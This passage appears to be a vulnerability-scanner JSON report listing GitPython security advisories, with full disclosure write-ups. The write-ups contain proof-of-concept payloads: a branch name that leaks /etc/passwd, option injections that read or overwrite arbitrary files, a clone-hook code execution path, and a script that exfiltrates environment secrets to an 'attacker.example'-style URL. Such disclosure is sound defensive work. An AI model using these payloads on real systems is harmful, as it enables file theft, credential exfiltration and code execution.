to git\nerror: pathspec 'jdownloader:x:955:954:jdownloader:/opt/JDownloader/:/bin/false' did not match any file(s) known to git\nerror: pathspec 'cups-browsed:x:953:953:CUPS printer discovery:/:/usr/bin/nologin' did not match any file(s) known to git'\n```\n\n`raw/03-full-file-disclosure.txt` counts the recovery against the real file:\n\n```\nArchivo objetivo: /etc/passwd (34 lineas no vacias)\n[CASO] repo.active_branch.checkout() — nadie paso un nombre de rama\n repo.active_branch.name = '--pathspec-from-file=/etc/passwd'\n -\u003e GitCommandError. Lineas de /etc/passwd recuperadas: 34 de 34\n```\n\n## Impact\n\nAn attacker who can get an application to clone a repository they control reads any file the\napplication's process can read, with the contents returned in band. `/etc/passwd` was recovered in\nfull (34 of 34 lines) in the run recorded in `poc.log`.\n\nThe attacker needs **no account and no privilege in the consuming application**, and no\nconfiguration change anywhere: `allow_unsafe_options=False` is the default, and the vulnerable\nconsumer is six lines of ordinary code. This is the central use case of the library — CI systems,\nrepository importers, scanners and bots that clone user-supplied URLs.\n\n### Impact precondition\n\n**Holds if:** the consuming application clones a repository whose default branch name the attacker\nchose, and then calls `Head.checkout()` on it — most commonly as `repo.active_branch.checkout()`,\nwhich needs no branch-name input from the application at all.\n\n**Source writer:** the attacker, via the remote repository's `HEAD` and refs. Verified two ways —\n`git update-ref` + `symbolic-ref` on a bare repository, and `git push` to a plain git server, which\n`receive-pack` accepts without `--force` or special configuration\n(`raw/02-refname-accepted-and-cloned.txt`, `raw/06-push-accepts-refname.txt`). The application never\nwrites the branch name; `git clone` materialises it.\n\n**Observed in:** `validation/gitpython/head-checkout-positional-pathspec/` — GitPython 3.1.62\n(latest release) with git 2.55.0, in the single run recorded in `poc.log`\n(2026-09-10T02:10:23-03:00). File read: `/etc/passwd`, 34 of 34 lines recovered by the caller.\n\n\n### Limits, stated plainly\n\n- Only the full long spelling works, because a refname cannot contain a space and is therefore a\n single argv token; `git` rejects the abbreviated forms. This was established while developing the\n payload and is **not** part of the attached run — the run exercises the working spelling only.\n- The attacker must know an absolute path to the target file.\n- Lines are disclosed only when they do not match a path in the repository. With a one-file hostile\n repository none of them do, so the attacker controls this condition too.\n- The full-file result was measured on **git 2.55.0**, where `git checkout` emits one `error:` per\n unmatched pathspec. `GHSA-hh9p-6wh2-4mfc` notes that `--pathspec-from-file` alone quotes only the\n first line — that holds for `git rm`, which aborts with `fatal:` on the first. It does not hold for\n `git checkout` on 2.55.0.\n\n## Negative control\n\nFull statement of what each control isolates and what would invalidate it: `negative-controls.md`.\nEvery batch opens **and closes** with a positive control; if the closing one does not fire, the batch\nis discarded.\n\n**Positive control (opening and closing, 4 batches).** `Head.checkout(pathspec_from_file=\"/etc/passwd\")`\n— the same payload via kwargs. Fires in every batch:\n`UnsafeOptionError: --pathspec-from-file is not allowed, use allow_unsafe_options=True to allow it`.\nThis proves the guard exists, is active under the default, and recognises the option — so a null\nresult elsewhere cannot be the instrument failing to reach the code.\n\n**Negative control.** The identical call on a branch named `benigna`. One variable changes: the\nleading `-`. Result: `['git', 'checkout', 'benigna']`, no exception, 0 lines disclosed.\n\n**Precision control — the asymmetry inside one file** (`raw/04-precision-control-reset-vs-checkout.txt`).\nThe same payload against the two methods in `git/refs/head.py` that received the guard in the same\ncommit, 185 lines apart:\n\n```\n[CONTROL DE PRECISION] mismo archivo, mismo commit de fix, dos metodos\n HEAD.reset(commit=PAYLOAD) guard SI mira el posicional BLOQUEADO por el guard (--pathspec-from-file i fuga= 0 lineas [OK]\n Head.checkout() guard NO mira el posicional GitCommandError fuga=34 lineas [OK]\n```\n\n`HEAD.reset` (`head.py:101`, `_option_candidates([commit], kwargs)`) blocks what `Head.checkout`\n(`head.py:286`, `_option_candidates([], kwargs)`) lets through. This rules out the alternative\nexplanation that any string containing `--pathspec-from-file` reaching git would disclose the file.\n\n## Remediation\n\nOne line, consistent with what `f2550b65` already did for `HEAD.reset` in this same file:\n\n```python\n options=Git._option_candidates([self], kwargs),\n```\n\n**The other candidate was evaluated and rejected.** Writing\n`self.repo.git.checkout(\"--\", self, **kwargs)` would match the `--` pattern used elsewhere in the\nlibrary and would also cover future `git checkout` options — but it **changes the semantics and\nbreaks the method**: in `git checkout -- \u003carg\u003e`, everything after `--` is a *pathspec*, not a branch.\nThe command would stop switching branches and start restoring files. The `--` pattern works for\n`fetch`/`pull`/`push`/`clone`/`archive`/`rm` because their positionals genuinely are non-branch\noperands; it does not transfer here.\n\nFor defence in depth, `Repo.create_head()` could reject branch names beginning with `-`, which would\nalso close the weaker `PR:L` path. That is a separate, optional change.\n\n## Prior art and de-duplication\n\nAll GitPython advisories in the GitHub database were reviewed —\n`gh api advisories -f ecosystem=pip -f affects=GitPython -f per_page=100 --paginate` returns **47**\n(the same command without `per_page` returns only the first page of 30). `Head.checkout` appears in\ntwo rows, one of which (`GHSA-w672-…`) is a withdrawn duplicate, leaving one substantive advisory:\n\n- **`GHSA-hh9p-6wh2-4mfc` / CVE-2026-76217** — same method, but the **kwargs** path\n (`pathspec_from_file=…, pathspec_file_nul=True`), fixed in 3.1.58. That path is closed today; it is\n the positive control in every batch of this report. The **positional** path is not covered by it.\n\nNeighbours, none overlapping:\n\n- **`GHSA-3wxw-xv34-2frg` / CVE-2026-78679** — the same **class** (positional bypasses a kwargs-only\n guard) in a different method, `TagReference.create`, fixed in 3.1.59 by `1b0d2d9b`. That is the\n patch that did not come back to `head.py:286`.\n- **`GHSA-956x-8gvw-wg5v` / CVE-2026-67323** — precedent for \"a value placed before the `--` with no\n leading-dash check\", in `Repo.iter_commits` / `Repo.blame`. Those sites now pass their positional\n to the guard; this one does not.\n- **`GHSA-7545-fcxq-7j24` / CVE-2026-44243** — path traversal via ref names in the reference APIs.\n Different sink (filesystem path construction) and different impact (write and delete), but it\n establishes that attacker-influenced ref names is a premise this project has already accepted.\n\n### No open fix proposal\n\nSearched across three surfaces, because `gh search issues` excludes pull requests: `gh search prs`,\n`gh search issues` and the raw `search/issues` API. **No open or closed issue or pull request\nproposes passing the positional to the guard in `Head.checkout`.** The three PRs that touch this\nguard (#2204, #2180, #2163) are all merged and none of them does it — #2204 is the PR that\nintroduced *both* call sites in this file, one checking its positional and one not. Full matrix in\n`dup-check.md`.\n\n### The project's own tests carry the same asymmetry\n\n`test/test_refs.py` exercises the guard for both methods, and covers exactly the difference this\nreport is about:\n\n- `HEAD.reset` — the **positional** is tested (lines 304-308).\n- `Head.checkout` — only the **kwargs** path is tested (lines 282-291).\n\nSo the positional variant is a case the suite already knows how to write; it just was not written\nfor `checkout`. The docstring added by #2204 to `Head.checkout` states that `--pathspec-from-file`\nrequires opt-in via `allow_unsafe_options` — which is precisely the guarantee the positional path\ndoes not deliver. Nothing in the project declares the positional acceptable here.\n\n### Why the one-line fix works, which is not obvious\n\n`Reference.__str__` returns `self.name`, not `self.path`. `Reference.name` strips the first two\npath components (`reference.py:122-132`), so a `Head` constructed on\n`refs/heads/--pathspec-from-file=/etc/passwd` passes `check_path` — the *path* does begin with\n`refs/heads/` — while `str()` yields the bare option. Passing `[self]` to `_option_candidates` makes\nthe guard see that same serialised string, which is why the one-line change closes it.\n\n## Evidence\n\n| File | What it establishes |\n|---|---|\n| `poc.sh` | driver — runs all seven scenarios as one unit |\n| `poc.log` | full transcript of the single reference run |\n| `raw/00-versions-and-source.txt` | version under test is the published one; guard and sink present; `def checkout(` appears once, so the sink line is unambiguous |\n| `raw/01-real-argv.txt` | real `git checkout` argv, captured by instrumenting `Git.execute` |\n| `raw/02-refname-accepted-and-cloned.txt` | git accepts the refname; `Repo.clone_from` materialises it unasked |\n| `raw/03-full-file-disclosure.txt` | 34 of 34 lines of `/etc/passwd` recovered |\n| `raw/04-precision-control-reset-vs-checkout.txt` | `HEAD.reset` blocks what `Head.checkout` allows |\n| `raw/05-six-line-consumer.txt` | six-line consumer, verbatim; leaks when the exception is logged and when it is uncaught |\n| `raw/06-push-accepts-refname.txt` | a plain git server accepts the refname over `push` |\n| `raw/07-blob-version-sweep.txt` | affected range by blob hash, tag by tag |\n| `negative-controls.md` | what each control isolates and what would invalidate it |\n| `evidence.sha256` | integrity of every raw file and script |\n\n## Disclosure\n\nReported privately through GitHub private vulnerability reporting. No third-party systems were\ntouched: every repository in this report is a temporary local one, and all transport is `file://`.", "Severity": "HIGH", "VendorSeverity": { "ghsa": 3 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "V40Score": 7.1 } }, "References": [ "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/commit/8da65080849a56a2fc9f3e7817bbf0524e8397d5", "https://github.com/gitpython-developers/GitPython/pull/2233", "https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-23mf-xhv8-69c2" ], "PublishedDate": "2026-10-27T15:28:03Z", "LastModifiedDate": "2026-10-27T15:28:03Z" }, { "VulnerabilityID": "GHSA-3f7w-8rr8-f37f", "PkgName": "GitPython", "PkgPath": "usr/local/lib/python3.11/site-packages/gitpython-3.1.45.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.45", "UID": "4b63587de376c28" }, "InstalledVersion": "3.1.45", "FixedVersion": "3.1.57", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://github.com/advisories/GHSA-3f7w-8rr8-f37f", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:2603c27f7086c82456faa615f46ad897b911a051be73fbbcc3efe64d9e6b5c1f", "Title": "GitPython: Unguarded git option forwarding in IndexFile.checkout() and TagReference.create() enables arbitrary file overwrite and arbitrary file read", "Description": "**Target:** gitpython-developers/GitPython\n**Tested:** HEAD `07e80555` (2026-07-25), latest release 3.1.55, `git version 2.50.1`\n**Reported instances:** 2 exploitable, from a sweep of 14 unguarded call sites\n\n## Summary\n\nGitPython blocks dangerous git options through `Git.check_unsafe_options()`, gated per method by an `allow_unsafe_options` parameter. That guard is applied **per call site**, so any API that forwards `**kwargs` into a git command without calling it passes caller-controlled options straight to git.\n\nA mechanical sweep of every method that forwards `**kwargs` into a `.git.\u003ccommand\u003e(...)` call found **14 sites with no guard**. Two reach a git option that takes a filesystem path:\n\n| # | Call site | git option | Impact |\n|---|---|---|---|\n| 1 | `IndexFile.checkout()` → `git checkout-index` | `--prefix=\u003cpath\u003e` | arbitrary file **overwrite** with repository-controlled content |\n| 2 | `TagReference.create()` → `git tag` | `-F \u003cfile\u003e` / `--file=\u003cfile\u003e` | arbitrary file **read**, returned in-band |\n\nThis is the same defect class already fixed in `Commit.count()` (GHSA-p538-c434-8v24), `Repo.archive()` and `Git.ls_remote()` (GHSA-956x-8gvw-wg5v). Both instances below are still present at HEAD.\n\n---\n\n## Instance 1 — `IndexFile.checkout()`: arbitrary file overwrite\n\n`git/index/base.py:1210` accepts `**kwargs` and forwards them with no guard:\n\n```python\ndef checkout(self, paths=None, force=False, fprogress=lambda *args: None, **kwargs):\n ...\n proc = self.repo.git.checkout_index(*args, **kwargs) # line 1331\n ...\n proc = self.repo.git.checkout_index(args, **kwargs) # line 1349\n```\n\nThere is no `allow_unsafe_options` parameter and no `check_unsafe_options()` call in the method.\n\n`git checkout-index` accepts `--prefix=\u003cstring\u003e`, prepended to every output path. It is not confined to the working tree, so an absolute prefix writes tracked file contents anywhere the process can write, and `-f` overwrites what is already there.\n\n### Reproduction\n\n```python\nfrom git import Repo\nRepo(\"/path/to/repo\").index.checkout(prefix=\"/tmp/target_dir/\", a=True, f=True)\n```\n\nObserved (`poc/poc_checkout_index.py`) — no exception raised, files land outside the repository:\n\n```\n[ALLOWED] no UnsafeOptionError raised\nfiles written outside the repo: ['f.txt']\n f.txt: 'hi\\n'\n```\n\nOverwrite of a pre-existing file (`poc/poc_ci_overwrite.py`) — the victim file held `ORIGINAL-DO-NOT-CLOBBER\\n` before the call:\n\n```\n[ALLOWED] no exception\nvictim content now: 'hi\\n'\nOVERWRITTEN: True\n```\n\n### Why this rates High\n\nBoth halves of the write are attacker-influenced:\n\n- **Destination** — the `prefix` kwarg.\n- **Content** — the bytes written are repository blobs, so anyone who can land a file in the repository (a pull-request branch, a mirrored or untrusted repository, an agent-cloned repository) controls exactly what is written.\n\nCommit a file named `authorized_keys`, `.bashrc`, `config` or `post-checkout`, choose the matching prefix (`~/.ssh/`, `~/`, `.git/hooks/`), and the write becomes code execution as the service account.\n\nFor comparison within this project: GHSA-fjr4-x663-mwxc (arbitrary file overwrite via `git diff --output`) is rated High, and GHSA-p538-c434-8v24 (arbitrary file *truncation* via `git rev-list --output`) is rated Medium. `--prefix` supplies full content control, so it sits at or above the former.\n\n---\n\n## Instance 2 — `TagReference.create()`: arbitrary file read\n\n`git/refs/tag.py:88` forwards `**kwargs` into `git tag` with no guard, and the signature advertises the passthrough:\n\n```python\ndef create(cls, repo, path, reference=\"HEAD\", logmsg=None, force=False, **kwargs):\n \"\"\"...\n :param kwargs:\n Additional keyword arguments to be passed to :manpage:`git-tag(1)`.\n \"\"\"\n```\n\n`git tag` accepts `-F \u003cfile\u003e` / `--file=\u003cfile\u003e`, which reads the tag message from an arbitrary path. The annotated tag object stores that content and GitPython returns it to the caller via `TagReference.tag.message`, so the file contents come back in-band.\n\n### Reproduction\n\n```python\nfrom git import Repo\nfrom git.refs.tag import TagReference\n\nt = TagReference.create(Repo(\"/path/to/repo\"), \"x\", force=True, a=True, F=\"/etc/passwd\")\nprint(t.tag.message)\n```\n\nObserved (`poc/poc_tag_F.py`), reading a canary file outside the repository:\n\n```\n[ALLOWED] no UnsafeOptionError raised\n\u003e\u003e\u003e tag message recovered from arbitrary path: 'TAG-READ-CANARY-98765\\nsecond-line-secret'\n```\n\nImpact is a read at the privileges of the process. I am not claiming code execution for this instance. The signing options (`-s`, `-u`/`--local-user`) do invoke gpg from the same unguarded kwargs, but I did not develop that into command execution and make no claim about it.\n\n---\n\n## Sweep results — the other 12 sites\n\nReported so the fix can be scoped once rather than per report. `poc/sweep.py` reproduces this list.\n\n| Call site | git command | Assessment |\n|---|---|---|\n| `IndexFile.from_tree()` | `read-tree` | `--index-output=\u003cpath\u003e` looked reachable but is **neutralised**: GitPython appends its own `--index-output` after the caller's kwargs and git honours the last occurrence. Verified — victim file unchanged (`poc/poc_readtree.py`) |\n| `IndexFile.remove()` | `rm` | `--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found |\n| `IndexFile.move()` | `mv` | same |\n| `HEAD.reset()` | `reset` | same |\n| `HEAD.checkout()` | `checkout` | same |\n| `Head.delete()`, `RemoteReference.delete()` | `branch` | no path-taking option found |\n| `Repo.merge_base()` | `merge-base` | no path-taking option found |\n| `Repo._get_untracked_files()` | `status` | no path-taking option found |\n| `Remote.set_url()`, `Remote.create()`, `Remote.update()` | `remote` | URL handling already addressed by GHSA-94p4-4cq8-9g67 |\n\n## Suggested remediation\n\n**Immediate:** add `allow_unsafe_options: bool = False` to both methods and gate `Git._option_candidates(args, kwargs)` against new lists — `unsafe_git_checkout_index_options = [\"--prefix\"]` (consider `--temp`) and `unsafe_git_tag_options = [\"--file\", \"-F\"]` (consider `-s`, `-u`/`--local-user`, `--cleanup`) — matching the pattern used in `Repo.archive()` and `Commit.count()`.\n\n**Structural:** this defect has now been fixed four times in four places (`Repo.archive()`, `Git.ls_remote()`, `Commit.count()`, and the two here), because the guard is opt-in per method: every new `**kwargs`-forwarding API starts unguarded and stays that way until someone reports it. Enforcing the check centrally in `Git._call_process()` — each git invocation consults a per-command unsafe-option table unless the caller opts out — would make new call sites safe by default rather than by review, and would close the remaining sites in the table above at the same time.\n\n## Disclosure\n\nReported privately via GitHub private vulnerability reporting.", "Severity": "HIGH", "VendorSeverity": { "ghsa": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://advisory.echohq.com/cve/GHSA-3f7w-8rr8-f37f", "https://github.com/advisories/GHSA-3f7w-8rr8-f37f", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/commit/3af0c2516c5e18c829da30338614688f6b69b49c", "https://github.com/gitpython-developers/GitPython/pull/2193", "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.57", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3f7w-8rr8-f37f" ], "PublishedDate": "2026-08-03T20:09:56Z", "LastModifiedDate": "2026-08-03T20:09:56Z" }, { "VulnerabilityID": "GHSA-6p8h-3wgx-97gf", "PkgName": "GitPython", "PkgPath": "usr/local/lib/python3.11/site-packages/gitpython-3.1.45.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.45", "UID": "4b63587de376c28" }, "InstalledVersion": "3.1.45", "FixedVersion": "3.1.54", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://github.com/advisories/GHSA-6p8h-3wgx-97gf", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:26fc588bb1917770b4e5f7171ec1c480583dd2f799db2bda0a689d6862d6772a", "Title": "GitPython: Incomplete unsafe_git_clone_options denylist omits --template enabling arbitrary command execution via clone hooks", "Description": "## Summary\nGitPython's `unsafe_git_clone_options` denylist omits `--template`. `git clone --template=\u003cdir\u003e` copies `\u003cdir\u003e/hooks/` into the new repository and runs them (`post-checkout` fires during clone), so a caller who can influence clone options can achieve arbitrary command execution in the default `allow_unsafe_options=False` configuration.\n\n## Root Cause\n`base.py:145-152` defines `unsafe_git_clone_options = [\"--upload-pack\",\"-u\",\"--config\",\"-c\"]` — `--template` is absent. The guard candidate `['--template']` passes `check_unsafe_options` (verified). git copies the hook directory and executes `post-checkout` at checkout time. git's `protocol.allow`/`GIT_ALLOW_PROTOCOL` do not gate `--template`; the incomplete denylist is the only defense.\n\n## Impact\nArbitrary OS command execution during clone (default config). Requires an attacker-readable directory containing an executable hook — a genuine second precondition (realistic via shared filesystems, upload dirs, `/tmp`, or attacker-writable network paths), reflected as AC:H.\n\n## Proof of Concept\n```python\n# attacker stages \u003cdir\u003e/hooks/post-checkout (chmod +x)\nfrom git import Repo\nRepo.clone_from(src, dst, template='\u003cdir\u003e') # post-checkout hook executes -\u003e marker created (verified)\n```\n\n## Attack Chain\n1. Setup: attacker stages `\u003cdir\u003e/hooks/post-checkout` (chmod +x). Guard: n/a (filesystem).\n2. Entry: `Repo.clone_from(url, path, template='\u003cdir\u003e')`. Guard: `check_unsafe_options(candidates=['--template'], unsafe=unsafe_git_clone_options)`. Bypass proof: `--template` not on the denylist -\u003e passes (verified candidate `['--template']`, no error).\n3. Sink: git copies the hook and executes `post-checkout` at checkout. Impact: ACE, default config (verified marker created).\n\n## Bypass Evidence\nLive-verified on HEAD (tag 3.1.53): guard candidate `['--template']` passed with no error; staged `post-checkout` hook executed during `clone_from`, creating the marker. Independent of the value-smuggle bypass (`--template` is a legitimate long option that survives any single-char-value fix). Not covered by any existing advisory.\n\n## Affected Versions\n`\u003c= 3.1.53`\n\n## Suggested Fix\nAdd `--template` (and audit for other hook/exec-influencing options) to `unsafe_git_clone_options`.\n\n---\nReported by **zx (Jace)** — GitHub: @manus-use", "Severity": "HIGH", "VendorSeverity": { "ghsa": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://advisory.echohq.com/cve/GHSA-6p8h-3wgx-97gf", "https://github.com/advisories/GHSA-6p8h-3wgx-97gf", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/commit/ffcb5359e87619f4fe4a70a4aff5f08c5580ba97", "https://github.com/gitpython-developers/GitPython/pull/2180", "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-6p8h-3wgx-97gf" ], "PublishedDate": "2026-07-24T16:42:09Z", "LastModifiedDate": "2026-07-24T16:42:09Z" }, { "VulnerabilityID": "GHSA-94p4-4cq8-9g67", "PkgName": "GitPython", "PkgPath": "usr/local/lib/python3.11/site-packages/gitpython-3.1.45.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.45", "UID": "4b63587de376c28" }, "InstalledVersion": "3.1.45", "FixedVersion": "3.1.55", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://github.com/advisories/GHSA-94p4-4cq8-9g67", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:f12e5fffe547adbd87a7583b7b0e921b97b4614705332c8a23c1daf0097db197", "Title": "GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add() URL (incomplete fix of GHSA-rwj8-pgh3-r573)", "Description": "## Summary\n\nThe fix for [GHSA-rwj8-pgh3-r573](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573) stopped `Repo.clone_from()` from running caller-supplied URLs through `os.path.expandvars()`, but it guarded only that one caller. `Remote.create()` — reached from the public `Repo.create_remote()` and its `Remote.add()` alias — still passes an attacker-influenceable URL through `Git.polish_url()` with the default `expand_vars=True`. A URL such as `http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git` is expanded server-side to embed the hosting process's environment secret, written into `.git/config`, and then transmitted to the attacker's host on the next `fetch`/`pull`. This is the same primitive and same \"import repository from URL\" threat model the advisory describes, via the sibling caller the fix missed.\n\n## Root Cause\n\nFix commit [`8ac5a305`](https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2) added an `expand_vars` parameter to `Git.polish_url()` (default `True`) and used `expand_vars=False` only in `Repo._clone()` ([`git/repo/base.py:1455`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/repo/base.py#L1455)). The shared helper's dangerous default was left in place, and the other callers were not updated.\n\n[`git/remote.py:811`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/remote.py#L811), `Remote.create`:\n\n```python\nurl = Git.polish_url(url) # expand_vars=True -\u003e os.path.expandvars(url)\nif not allow_unsafe_protocols:\n Git.check_unsafe_protocols(url) # https:// carrying the secret passes\nrepo.git.remote(scmd, \"--\", name, url, **kwargs) # expanded URL written to .git/config\n```\n\n`check_unsafe_protocols()` runs *after* expansion here, so it rejects an `ext::` payload but does nothing about an `https://` URL that carries an expanded secret in its path or host — the disclosure primitive.\n\nThe same unguarded call also sits at [`git/objects/submodule/base.py:611`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/objects/submodule/base.py#L611) (`Submodule.add`), which writes the expanded URL into `.gitmodules` (a tracked file) and `.git/config`.\n\n## Steps to Reproduce\n\n### Prerequisites\n\n- Python 3.9+\n- `git` on `PATH` (for the fetch step)\n- GitPython 3.1.53 (installed below)\n\n### Step 1: Install GitPython 3.1.53 in a clean venv\n\n```bash\nmkdir /tmp/gp-remote-poc \u0026\u0026 cd /tmp/gp-remote-poc\npython3 -m venv venv\n./venv/bin/pip install gitpython==3.1.53\n```\n\n### Step 2: Write the PoC\n\n```bash\ncat \u003e poc.py \u003c\u003c'PYEOF'\n#!/usr/bin/env python3\n\"\"\"Env-var exfiltration via Repo.create_remote() URL. Sentinel data only.\"\"\"\nimport http.server\nimport os\nimport tempfile\nimport threading\n\nimport git\n\nprint(\"gitpython version:\", git.__version__)\n\n# Sentinel standing in for a process secret such as AWS_SECRET_ACCESS_KEY.\nSENTINEL = \"leaked-a1b2c3-SENTINEL-do-not-use\"\nos.environ[\"GP_SENTINEL_SECRET\"] = SENTINEL\n\n# Local HTTP server standing in for attacker.example.\ncaptured = []\n\n\nclass Handler(http.server.BaseHTTPRequestHandler):\n def do_GET(self):\n captured.append(self.path)\n self.send_response(404)\n self.end_headers()\n\n def log_message(self, *a):\n pass\n\n\nsrv = http.server.HTTPServer((\"127.0.0.1\", 0), Handler)\nport = srv.server_address[1]\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\n\n# Attacker-controlled URL handed to an \"import from URL\" feature.\nattacker_url = \"http://127.0.0.1:%d/steal/${GP_SENTINEL_SECRET}/repo.git\" % port\n\n\ndef norm(s): # display the ephemeral listener port as a stable placeholder\n return s.replace(\"127.0.0.1:%d\" % port, \"127.0.0.1:PORT\")\n\n\nprint(\"attacker-supplied URL :\", norm(attacker_url))\n\nrepo = git.Repo.init(tempfile.mkdtemp(prefix=\"gp-victim-\"))\nremote = repo.create_remote(\"evil\", attacker_url) # public API\n\nstored = repo.remote(\"evil\").url\nprint(\"stored remote URL :\", norm(stored))\nprint(\"SENTINEL in git config:\", SENTINEL in stored)\n\ntry:\n remote.fetch() # transmits the expanded URL to the attacker host\nexcept Exception:\n pass # fetch fails after the request is already sent\n\nsrv.shutdown()\nover_network = any(SENTINEL in p for p in captured)\nprint(\"HTTP paths received :\", [norm(p) for p in captured])\nprint(\"SENTINEL over network :\", over_network)\n\nprint()\nif SENTINEL in stored and over_network:\n print(\"VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host\")\nelif SENTINEL in stored:\n print(\"VULNERABLE: env-var expanded into stored git-config URL\")\nelse:\n print(\"not reproduced\")\nPYEOF\n```\n\n### Step 3: Run it\n\n```bash\ncd /tmp/gp-remote-poc \u0026\u0026 ./venv/bin/python poc.py\n```\n\nExpected output (the listener's ephemeral port is shown as `PORT`):\n\n```\ngitpython version: 3.1.53\nattacker-supplied URL : http://127.0.0.1:PORT/steal/${GP_SENTINEL_SECRET}/repo.git\nstored remote URL : http://127.0.0.1:PORT/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git\nSENTINEL in git config: True\nHTTP paths received : ['/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git/info/refs?service=git-upload-pack']\nSENTINEL over network : True\n\nVULNERABLE: env-var expanded into stored URL AND transmitted to attacker host\n```\n\nThe `${GP_SENTINEL_SECRET}` token in the supplied URL is replaced with the environment value both in the stored `.git/config` URL and in the request that reaches the attacker-controlled host.\n\n## Suggested Fix\n\nPass `expand_vars=False` at the remaining URL callers, matching the clone fix:\n\n- `git/remote.py` `Remote.create`: `url = Git.polish_url(url, expand_vars=False)`\n- `git/objects/submodule/base.py` `Submodule.add`: `url = Git.polish_url(url, expand_vars=False)`\n\nMore robustly, flip the `Git.polish_url()` default to `expand_vars=False` (env-var expansion on a URL is never desirable for network remotes) and require callers that genuinely normalize local paths to opt in.\n\n## Cleanup\n\n```bash\nrm -rf /tmp/gp-remote-poc\n```\n\n## Impact\n\nAny secret in the hosting process environment (`AWS_SECRET_ACCESS_KEY`, `GITHUB_TOKEN`, CI/CD tokens) is disclosed to an attacker who controls a remote URL passed to `Repo.create_remote()` / `Remote.add()`. The secret is expanded into `.git/config` immediately and transmitted over the network (DNS + HTTP) on the next `fetch`/`pull`/`remote update`. This is the documented \"import repository from URL\" attacker model of GHSA-rwj8-pgh3-r573 — CI servers, git-hosting mirrors, and dependency scanners — applied to the add-a-remote flow, which the clone-only fix did not cover. The same disclosure reaches `.gitmodules` (a committable file) via `Submodule.add()`.", "Severity": "HIGH", "VendorSeverity": { "ghsa": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 7.5 } }, "References": [ "https://advisory.echohq.com/cve/GHSA-94p4-4cq8-9g67", "https://github.com/advisories/GHSA-94p4-4cq8-9g67", "https://github.com/gitpython-developers/GitPython", "https://github.com/gitpython-developers/GitPython/commit/863417457a0633db7ea5aed4fd01e0b291a41162", "https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2", "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.55", "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-94p4-4cq8-9g67", "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3951.yaml", "https://www.vulncheck.com/advisories/gitpython-before-environment-variable-exfiltration-via-remote-add" ], "PublishedDate": "2026-07-24T21:45:16Z", "LastModifiedDate": "2026-09-24T14:39:20Z" }, { "VulnerabilityID": "GHSA-f9j4-qggq-h239", "PkgName": "GitPython", "PkgPath": "usr/local/lib/python3.11/site-packages/gitpython-3.1.45.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/gitpython@3.1.45", "UID": "4b63587de376c28" }, "InstalledVersion": "3.1.45", "FixedVersion": "3.2.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://github.com/advisories/GHSA-f9j4-qggq-h239", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:a1fd39f59abc45045326a29f630f41b5f6954acba7b4547d39fb65260a6bb87c", "Title": "GitPython Remote.pull() 